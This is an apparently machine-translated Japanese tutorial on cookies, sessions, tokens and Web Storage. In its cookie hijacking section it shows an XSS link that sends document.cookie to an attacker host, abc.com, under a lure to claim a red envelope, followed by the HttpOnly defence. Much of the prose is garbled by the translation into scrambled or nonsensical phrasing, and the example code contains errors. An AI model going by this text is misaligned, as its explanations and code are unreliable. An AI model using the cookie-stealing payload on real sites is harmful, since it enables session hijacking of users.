、クッキー
図1に示すように、クッキーは、ユーザがサーバにアクセスする最初の時間であり、クライアントの識別IDにサーバ戻って、各要求の後に、クッキーは、要求ヘッダーに運ぶためにサーバに送信されます。[人気の話は、それが最初の訪問で、
サーバーは、シリンダ（セッション）を生成し、クライアントに戻すロックキー（クッキー）を開き、各時間後に、ユーザは、サーバがアクセスのロックを解除するキーを運ぶアクセス
あなたは有効期限を設定しない場合は2は、クッキー、つまり、セッションクッキーは、ブラウザが消え閉じられています。それ以外の場合は、永続的なCookieは、有効期限が切れる前に、クッキーは常に存在し、永続的なCookieは、異なるブラウザで共有することが可能です。
図3に示すように、フロントエンドとすることができます
document.cookie = "ユーザー= heihei";
console.log（document.cookie）。
設定し、クッキーを取得し、あなただけの4キロバイト程度保存することができ、サイズに制限有効期限を設定することができます。
4、クッキー属性：
、クッキードメインは、サーバのような、クッキーを見ることができるサイトを制御するために、ドメインのプロパティを追加するには、Set-CookieヘッダにCookieレスポンスを生成することができます。
Set-Cookieを：名前= "heihei"。ドメイン= "m.zhuanzhuan.58.com"
ユーザーの訪問www.aaa.comが（非zhuanzhuan.58.com）このクッキーを送信しません場合は、名前=「heihei」：ユーザーが訪問した場合m.zhuanzhuan.58.comクッキーを送信されることがあります。
B、およびクッキーサブフィールドが設定されている場合、プライマリドメインクッキーがサブドメインにアクセスすることができないのに対して、その後のサブドメインは、プライマリドメインクッキーにアクセスすることができる、経路に関連する正午属性
たとえば、次のようにm.zhuanzhuan.58.comとm.zhaunzhuan.58.com/user/両方のURL。m.zhuanzhuan.58.comはクッキーを設定します
Set-Cookie：ID = "123432";ドメイン= "m.zhuanzhuan.58.com"。
設定されたCookieをm.zhaunzhuan.58.com/user/：
Set-Cookie：ユーザー= "王"、ドメイン= "m.zhuanzhuan.58.com"。パス= /ユーザ/
しかし、他のパスへのアクセスはm.zhuanzhuan.58.com/other/なります
クッキー：ID = "123432"
あなたはアクセスを取得する場合はm.zhuanzhuan.58.com/user/
クッキー：ID = "123432" クッキー：ユーザー= "王"
C、安全な
財産、安全な、クッキーは唯一のプロトコルの暗号化状況HTTPSでサーバーに送信されます。機密情報のその固有の不安のクッキーはによって送信されていないはずですので、しかし、これは、最も安全ではありません。
Set-Cookieを：ID = a3fWa。=水、2015年10月21日7時28分00秒GMTの有効期限が切れます。セキュア;
5、クッキーハイジャック（クロスサイトスクリプティングのXSS）
クッキーを盗むことができるクロスサイトスクリプティング技術を使用してください。操作サイトはjavascriptのクッキーを許可すると、悪意のあるコードのセッション攻撃者は、ユーザーが発生します攻撃、およびユーザーのクッキー情報を得ることができます。
例：
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包する</a>
ユーザーがこのリンクをクリックすると、ブラウザはユーザーのCookieデータが攻撃者のサーバーabc.comに送信されるサイトの結果、コード内でonclickを実行します。
攻撃者はまた、クッキーの事を取り出すことができます。
解決策：HttpOnlyのCookieの属性、およびHttpOnlyのプロパティを設定することができ、JavaScriptコードは、クッキーを動作しません。
二、セッション
セッション機構は、それがサイズ制限なしで、サーバに格納され、情報を記録するために使用されます。
三、token
1、トークン手段「トークンは、」サーバーがクライアント識別の要求として、生成し、一連の文字列です。
2、サーバーがトークンを生成し、クライアントの要求がもう一度ユーザー名とパスワードを持参する必要がなく、このトークンのデータを取りに来た後、このトークンがクライアントに返され、ユーザーに最初にログインします。
図3に示すように、組成物の単純なトークン、トークン16進数の文字列の特定の長さに圧縮するためのUID（ユーザの一意のID）、時刻（現在時刻のタイムスタンプ）、サイン（署名、いくつかの元ハッシュアルゴリズム。
）漏れトークンを防ぐために。
クライアントが要求をログに記録するためのユーザー名とパスワードを使用しています。サーバーは、ユーザー名とパスワードを確認し、要求を受信します。認証が成功すると、サーバーは、トークンを生成し、クライアントにこのトークンを送信します。
それはトークンストアを受け取った後、クライアントは、中にクッキーやローカルストレージ（ローカルストレージ）に配置することができます。クライアントがサーバにリクエストを送信するたびに、サーバー発行されたトークンを持参する必要があります。
サーバーは要求を受信し、検証が成功した場合、クライアントは要求されたデータを返し、トークンを使用して内部のクライアント要求いることを確認します。
四、WebStorage
WebStorage二つの主な目的：クッキーストアのセッションデータの外部に設けられた（1）パス。データは、機構は、（2）セッション間で大規模なストレージを提供すること。
localStorage（ローカルストレージ）とのsessionStorage（セッションストレージ）：HTML5のWebStorageは、二つのAPIを提供します。
1、ライフサイクル：のlocalStorage：のlocalStorageのライフサイクルは消えませんのlocalStorageでページまたはブラウザのデータを閉じた後、永続的です。
そうでない場合は、データが消えることはありません、データを削除するためのイニシアチブない限りのlocalStorage。
sessionStorageのライフサイクルは、現在のセッションでのみ有効です。sessionStorageは、相同ウィンドウは常にデータ中に存在しています。限りブラウザウィンドウが閉じられていないとして、
でも、ページを更新し、データがまだ存在しています。あなたは、ブラウザウィンドウを閉じた後でものsessionStorageは破棄されます。
同じページで開いている一方で、別のウィンドウには、のsessionStorageは同じではありません。
図2は、ストレージサイズのlocalStorageのsessionStorageサイズ及び格納データは、一般に：5メガバイト
図3に示すように、保管場所のlocalStorageとのsessionStorageはクライアントではなく、サーバとの双方向通信に格納されています。
図4に示すように、格納されたコンテンツタイプ：のlocalStorageのsessionStorageのみストア列型は、プロセスを提供するために、複雑なオブジェクトのために使用され、JSON文字列化のECMAScriptオブジェクトを解析することができます
5、获取方式：のlocalStorage：window.localStorage ;;のsessionStorage：window.sessionStorageの;.
図6に示すように、アプリケーション・シナリオ：localStoragese：一般長期ログに使用される（+ユーザがログインしているかどうかを決定する）、ローカルデータの長期保存に適し。sessionStorage：シングルサインに敏感なアカウント。